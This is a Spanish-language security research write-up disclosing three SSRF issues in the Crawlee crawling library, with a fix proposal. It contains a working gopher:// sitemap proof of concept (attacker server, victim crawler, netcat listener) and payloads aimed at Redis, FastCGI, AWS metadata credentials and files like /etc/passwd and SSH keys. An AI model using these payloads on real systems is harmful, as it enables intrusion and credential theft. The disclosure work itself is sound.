Introduccion

Vamos a hablar de Crawlee, una libreria de Python (y Node) bastante popular para construir crawlers y scrapers. La mantiene Apify, y la usan desde proyectos personales hasta plataformas SaaS multi-tenant que monitorizan webs de cientos de clientes. Es decir, no es ninguna tonteria.

Lo que voy a contar son tres casos explotables que encontre despues de mucho tiempo dandole vueltas. Lo he dividido en estos tres casos porque me parece la mejor forma de diferenciar el alcance y la dificultad de cada uno en relacion a su facilidad de explotacion:

• Caso 1 --- Usando el modo curl-impersonate, podemos hacer llamadas blind a servicios internos (gopher://, dict://, ftp://...) escondidas dentro de un sitemap.
• Caso 2 --- Siguiendo el patron recomendado en la propia documentacion oficial, hay un sitio donde si conseguimos exfiltracion completa (curl).
• Caso 3 --- El englobe del SSRF por HTTP. Esto afecta a las tres HTTP backends de la libreria y no es ninguna tonteria. Si alguien quisiera defender que "por diseño es asi y puede acceder a rangos privados", la libreria tendria que estar totalmente cerrada a produccion y decirlo EXPLICITAMENTE en negrita en cada pagina de la documentacion. Historicamente ha habido bypasses para llamar a servicios TCP a traves de HTTP, asi que esto no es un detalle menor.

Y antes de nada, me gustaria citar una fuente que he usado en la etapa final del proyecto para intentar bypasses aunque no ha dado sus frutos finalmente:

A New Era of SSRF — OrangeTsai

Sus exploits y su forma de pensar son lo que persigo. Si no has visto la charla y te interesa el tema, parate y velo antes de seguir leyendo, lo agradeceras.

He tardado bastante tiempo investigando esta libreria, revisando todos los casos de uso comparandolos con la forma en que los autores la recomiendan usar. Hasta hace no mucho ni siquiera tenia validacion de esquema, segun salia en un issue antiguo. Y aunque ahora tengan algo, esa "validacion" es un castillo de arena: existe en una funcion (Request.from_url) y nada mas. Todos los demas sitios que aceptan URLs simplemente las cogen como str y se las pasan al cliente HTTP sin tocarlas.

Ese es el patron raiz de todo lo que viene a continuacion.

Caso 1 — SSRF blind via sitemap + curl-impersonate

Por que esto solo funciona con CurlImpersonateHttpClient

Antes de meterme en el POC, una aclaracion importante que aplica tanto al Caso 1 como al Caso 2: estos vectores con esquemas raros (gopher://, file://, dict://, ftp://...) solo son explotables si el cliente HTTP es CurlImpersonateHttpClient. Y la razon no es por falta de validacion en los otros backends, es algo mas tonto.

Crawlee tiene tres backends de cliente HTTP:

• httpx y impit — son librerias HTTP modernas. Solo hablan http:// y https://. Si les pasas gopher:// te lanzan un error de "scheme not supported" desde la propia libreria. No es que Crawlee valide, es que la lib de abajo simplemente no sabe que hacer con eso. La "validacion" es implicita.
• curl-impersonate (basado en curl-cffi → libcurl) — libcurl es de los 90s y lleva soporte historico de un mogollon de protocolos: gopher, file, dict, ftp, tftp, imap, telnet... Por defecto, todos activos.

Y aqui esta el detalle bonito. CurlImpersonateHttpClient es la opcion que la propia documentacion de Crawlee recomienda para evadir Cloudflare y sistemas anti-bot, porque imita uso legitimo. Es decir, el backend mas comun en deployments serios es justamente el que abre el zoo entero de protocolos.

¿Y por que no podemos hacer estos ataques desde un navegador? Porque desde 2021 los navegadores desactivaron casi todos estos protocolos (gopher hace mucho mas, ftp en 2021, file en contextos remotos) por motivos de seguridad. Pero un crawler en backend con libcurl pelado no tiene esas restricciones — y eso es justo lo que tenemos aqui.

POC

Empezamos poco a poco, no tenemos prisa.

La idea: yo controlo un sitemap. La victima usa Crawlee con el backend CurlImpersonateHttpClient. Le sirvo un <sitemapindex> cuyo <sitemap><loc> no es una URL HTTP, sino algo como gopher://127.0.0.1:1337/_HOLA.

Crawlee lee el sitemap-index, ve los <loc> "anidados", y los va a buscar uno a uno. Y aqui viene lo bonito: estos <loc> anidados no pasan por la validacion de esquema. La URL viaja directa al cliente HTTP, que en este caso es libcurl, que habla gopher sin problemas.

Para ver que esto funciona de verdad antes de complicarme la vida, levanto un nc escuchando en local con xxd para ver los bytes en crudo:

nc -lvnp 1337 | xxd

Sirvo este sitemap desde un servidor cualquiera:

<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap><loc>gopher://127.0.0.1:1337/_HOLA%20DESDE%20CRAWLEE</loc></sitemap>
</sitemapindex>

Y arranco el crawler victima apuntando a ese sitemap.

SIIIII LO TENEMOS!!

Que bien se siente cuando el POC funciona.

El listener recibe los bytes que yo he metido en la URL gopher. Esto significa que puedo escribir bytes arbitrarios contra cualquier host:puerto del loopback del crawler. Redis sin auth con un CONFIG SET dir, memcached con un flush_all, FastCGI con un payload de RCE... lo que sea que hable un protocolo basado en texto y no requiera leer la respuesta para confirmar el comando, es vulnerable.

Codigo del POC

Para que sea reproducible, dejo aqui los tres ficheros que uso. La estructura es: un servidor "atacante" que sirve el sitemap-index y el robots.txt, un crawler "victima" que es el ejemplo basico de Crawlee con CurlImpersonateHttpClient, y un listener netcat para ver los bytes llegar.

listener.sh — para ver lo que llega al puerto en hex:

#!/bin/bash
nc -lvnp 1337 | xxd

server.py — el atacante. Sirve dos rutas vulnerables: /sitemap.xml (un sitemap-index que apunta a un sub-sitemap) y /robots.txt (que descubre el sitemap por la via de robots.txt, tambien vulnerable). El payload gopher esta en el sub-sitemap:

from http.server import BaseHTTPRequestHandler, HTTPServer

SITEMAP_INDEX = b'''<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap><loc>http://127.0.0.1:8000/files-sitemap.xml</loc></sitemap>
</sitemapindex>'''

FILES_SITEMAP = b'''<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap><loc>gopher://127.0.0.1:1337/_HOLA%20DESDE%20CRAWLEE</loc></sitemap>
</sitemapindex>'''

ROBOTS_TXT = b'Sitemap: http://127.0.0.1:8000/sitemap.xml\n'

ROUTES = {
    '/sitemap.xml':       (SITEMAP_INDEX, 'application/xml; charset=utf-8'),
    '/files-sitemap.xml': (FILES_SITEMAP, 'application/xml; charset=utf-8'),
    '/robots.txt':        (ROBOTS_TXT,    'text/plain; charset=utf-8'),
}

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        entry = ROUTES.get(self.path)
        if entry is None:
            self.send_response(404); self.end_headers(); return
        body, ctype = entry
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

if __name__ == '__main__':
    HTTPServer(('127.0.0.1', 8000), H).serve_forever()

crawler.py — la victima. El MODE permite probar los dos vectores: entrar directo por sitemap-index, o descubrir el sitemap a traves de robots.txt (configuracion default-on en muchos crawlers de research):

import asyncio
from crawlee.crawlers import HttpCrawler, HttpCrawlingContext
from crawlee.http_clients import CurlImpersonateHttpClient
from crawlee.request_loaders import SitemapRequestLoader

MODE = 'sitemap'  # o 'robots'

async def main():
    http_client = CurlImpersonateHttpClient()

    if MODE == 'sitemap':
        sitemap_urls = ['http://127.0.0.1:8000/sitemap.xml']
    elif MODE == 'robots':
        sitemap_urls = await sitemaps_from_robots(http_client)
        print(f'[robots.txt] sitemaps descubiertos: {sitemap_urls}')
    else:
        raise ValueError(f'MODE invalido: {MODE}')

    loader = SitemapRequestLoader(
        sitemap_urls=sitemap_urls,
        http_client=http_client,
    )
    request_manager = await loader.to_tandem()

    crawler = HttpCrawler(
        request_manager=request_manager,
        http_client=http_client,
    )

    @crawler.router.default_handler
    async def handler(ctx: HttpCrawlingContext):
        body = ctx.http_response.read()
        preview = body[:120] if isinstance(body, (bytes, bytearray)) else str(body)[:120]
        ctx.log.info(f'URL: {ctx.request.url} | bytes: {len(body)} | preview: {preview!r}')

    await crawler.run()

if __name__ == '__main__':
    asyncio.run(main())

El detalle que hace que esto sea bonito

Hay dos cosas que merece la pena entender de este caso, porque son las que separan un SSRF aburrido de uno que da gusto:

1. El esquema lo elige el atacante, no la libreria. En <urlset><url><loc> (las URLs "finales" del sitemap, las que terminan en la cola del crawler) si hay validacion: Crawlee construye un objeto Request y rechaza esquemas que no sean http/https. Pero en <sitemapindex><sitemap><loc> (las URLs "intermedias", las que apuntan a sub-sitemaps) no se construye ningun Request. Por ahi se cuela el gopher.

2. No hace falta que la victima haga nada raro. Esto es lo que mas me gusto. La configuracion vulnerable es literalmente el ejemplo de using_sitemap_request_loader.py que aparece en la documentacion oficial. Solo cambia el cliente HTTP a CurlImpersonateHttpClient (que es la opcion recomendada para sites que detectan bots). Cero codigo "incorrecto" del lado de la victima.

Y todavia mejor: aunque el atacante no vea la respuesta del servicio interno (esto es blind, recordad), el tiempo que tarda cada llamada en fallar/responder le permite enumerar puertos por timing. RST rapido = puerto cerrado. timeout largo = puerto filtrado por firewall (suelen por defecto hacer DROP silencioso). Latencia media consistente = puerto abierto. Con eso reconstruye el mapa entero de servicios internos del crawler antes de lanzar nada destructivo.

Caso 2 — La busqueda de exfiltracion

Ahora queda lo mas complicado. Podemos mandar informacion arbitraria a servicios locales. Pero no podemos recibir nada todavia. ¿No?

Bueno, esta claro que con tantas opciones disponibles algo habra. Estuve barajando varias opciones durante horas de dolores de cabeza...

• XXE en el parser de sitemaps. Crawlee usa xml.sax.expatreader directamente, sin defusedxml. Pense que tal vez podia colar entidades externas y leer ficheros locales por ahi. Pero el parser de sitemaps esta acotado a procesar <loc>, las entidades expandidas no terminan en ningun output que vuelva al atacante. Descartado para exfiltracion (queda como posible DoS, pero eso no era lo que buscaba).

• Infiltrar un sitemap.xml en el filesystem de la victima. Pense en aprovechar file:///var/www/html/sitemap.xml o algo similar. Pero claro, ¿de que me sirve? Si hay un servidor local sirviendolo, ya lo alcanzo con un HTTP plano a localhost. No gano nada.

• FTP. De repente mi cabeza hizo clic. ¡FTP! Pero como no puedo controlar la redireccion del flujo de datos hacia un fichero de ninguna manera, no puedo descargar ni subir. Para eso harian falta flags especificas en curl que crawlee no expone. Otro callejon sin salida.

• La idea del FTP a un sitemap. Tampoco serviria de nada por la misma razon: necesito que la respuesta vuelva, no solo que la conexion ocurra.

So la cosa es que para usar esquemas raros solo puedo usar el cliente curl-impersonate. Pero curl-impersonate valida esquema igual que los demas cuando lee las URLs finales (<url><loc>) de un sitemap (estas si pasan por Request.from_url). Da igual si le traigo el <url> por gopher, si la URL final es file:// se cae.

Para que se vea todos los pensamientos que he tenido... incluso pense que tal vez en el navegador (playwright) si podriamos hacerlo (con alguna redireccion 302). Pero tampoco. Desde 2021, la mayoria de navegadores desactivaron estos protocolos excepto file y algunos mas que no nos interesan (excepto ws para recon posiblemente), pero este esta demasiado limitado.

Me vine abajo.

Pero no todo cuento acaba tan mal...

Donde si existe una "vulnerabilidad" — que no es tan bonita es en context.send_request.

send_request es la funcion que la documentacion oficial te recomienda para "extraer una URL del HTML que estas crawleando y hacerle una peticion secundaria". Es decir, el patron es: el handler coge un <a href="..."> de la pagina y se lo pasa a send_request. Y resulta que send_request no valida esquema. La string viaja cruda al cliente HTTP.

Y aqui SI TENEMOS EXFILTRACION DE DATOS.

Ya no da error al parsear, ya no es blind. Es exfiltracion completa. La respuesta vuelve como bytes al handler, y el patron canonico (que es exactamente el que la doc recomienda) la persiste en el dataset via push_data. El atacante luego lee el dataset y se lleva lo que quiera.

¿Que se puede leer?

• file:///etc/passwd, file:///proc/self/environ, file:///root/.ssh/id_rsa.
• http://169.254.169.254/latest/meta-data/iam/security-credentials/. IMDS de AWS, credenciales de la maquina. (aws ya ha mitigado esto parcialmente en su imds v2)
• gopher://localhost:6379/_INFO%0D%0A. Dump completo de Redis, incluyendo los datos, ya no solo el side effect.

El payload del lado del atacante es ridiculo. Una pagina HTML con un solo enlace:

<a class="api-link" href="file:///etc/passwd">x</a>

Osea

Y el handler "vulnerable" es literalmente el ejemplo de las guias de Error handling y Session management de la documentacion oficial:

api_url = ctx.selector.css('a.api-link::attr(href)').get()
resp = await ctx.send_request(api_url)
body = (await resp.read()).decode()
await ctx.push_data({'data': body})

Lo considero exfiltracion porque crawlee es una libreria, y por tanto se le puede dar el uso que el desarrollador quiera. No esta diseñada para acceder a servicios gopher (eso se escapa de su scope), y probablemente tampoco a servicios internos. Si una persona la usara para hacer algun tipo de SaaS que devuelva informacion de una web (que es exactamente lo que hacen muchas plataformas que la usan), se podria exfiltrar informacion sensible del backend del propio SaaS.

No voy a realizar este POC ya que oficialmente se reporta sobre todo el primer finding, y estos dos ultimos como colaterales / mejoras de documentacion y de codigo. La idea del reporte es que el mantenedor decida la severidad, y meterles cuatro POCs encima me parece pasarme. Pero si quieres reproducirlo en tu propio entorno controlado, con el patron de arriba y un servidor que sirva una pagina con el <a href="file:///...">, lo tienes en cinco minutos.

Caso 3 — SSRF directo via crawl, sin trucos

Este es el caso mas tonto y el que afecta a todos los backends por igual. No requiere sitemap, no requiere send_request, no requiere curl-impersonate. Resulta que Crawlee no valida hosts. Punto. Si la URL es HTTP/HTTPS valida (passa Request.from_url), el crawler la fetcha. No hay denylist de loopback, no hay filtro de RFC1918, no hay filtro de IMDS, no hay nada.

Donde se nota esto

La mayoria de gente que usa Crawlee no lo usa standalone. Lo integra en un SaaS, en una API, en una pipeline donde el usuario final puede influir en que URLs se crawlean. Algunos patrones reales:

• SaaS de monitoreo de webs donde el usuario mete la URL que quiere que se monitorice.
• Crawler que sigue links extraidos del HTML — el atacante mete un <a href="http://127.0.0.1:6379"> en su pagina y se cuela en la cola del crawler.
• Pipeline que crawlea URLs de un dataset externo — cualquiera que pueda añadir filas al dataset puede inyectar URLs internas.

En todos estos casos, si el atacante consigue meter una URL apuntando a una IP privada — http://127.0.0.1:8080/admin, http://169.254.169.254/latest/meta-data/iam/security-credentials/, http://10.0.0.5/internal-api/ — Crawlee la fetcha y la respuesta vuelve al handler. Exfil de servicios HTTP internos sin auth: paneles admin, IMDS, APIs internas, banners de Redis-sobre-HTTP, todo accesible.

El argumento "es por diseño"

Alguien podria defender que esto es "comportamiento por diseño" de la libreria, que un crawler debe poder fetchar cualquier URL que le pases. Vale, es defendible. Pero entonces la libreria tendria que estar explicitamente cerrada a produccion y decirlo en negrita en cada pagina de la documentacion. Una libreria que se integra en SaaS no puede asumir que las URLs son confiables, y ahora mismo no advierte de esto en ningun sitio.

Y otro detalle que vale la pena dejar dicho: aunque ahora mismo el alcance esta limitado a HTTP/HTTPS (porque los seeds y los enqueue_links pasan por Request.from_url), historicamente han existido bypasses para llamar a servicios TCP via HTTP. SMTP-over-HTTP, smuggling de protocolos, request line injection, CRLF en headers... la charla de OrangeTsai que cite al principio cubre varios. Mientras Crawlee no añada un filtro de host, esa linea de defensa-en-profundidad simplemente no existe.

Funciona con httpx, impit y curl-cffi por igual. Es el caso mas universal y mas facil de explotar — basta con un input de URL en el SaaS de la victima.

Reflexion

La raiz del problema es la misma en los tres casos. Existe una unica funcion en toda la libreria que valida URLs (Request.from_url, via pydantic.AnyHttpUrl). Y esa funcion no se llama desde:

• Las URLs anidadas de un sitemap-index.
• Las directivas Sitemap: de un robots.txt.
• El Location: header de los redirects.
• context.send_request.
• http_client.send_request en general.

El contrato de validacion existe solo en un sitio y todos los demas call-sites lo asumen sin re-aplicarlo. Es el patron clasico de "alguien ya lo ha validado antes" que en realidad nunca se ha validado.

El fix es trivial: aplicar la validacion en la frontera del cliente HTTP, no en la frontera del objeto Request. Una sola linea (validate_http_url) en send_request y stream del cliente cierra los tres casos de golpe. Por eso me parece tan bonita y tan tonta la vulnerabilidad: es un error de capa, no de codigo.

Las validaciones bonitas y los pydantic en el sitio "obvio" te hacen bajar la guardia en los call-sites de detras. Y los protocolos viejos que todo el mundo daba por muertos (gopher, file, dict) siguen ahi, esperando a que alguien los pase como string a libcurl.

Si llegaste hasta aqui, gracias por leer. El reporte completo ya esta en manos del mantenedor de Apify.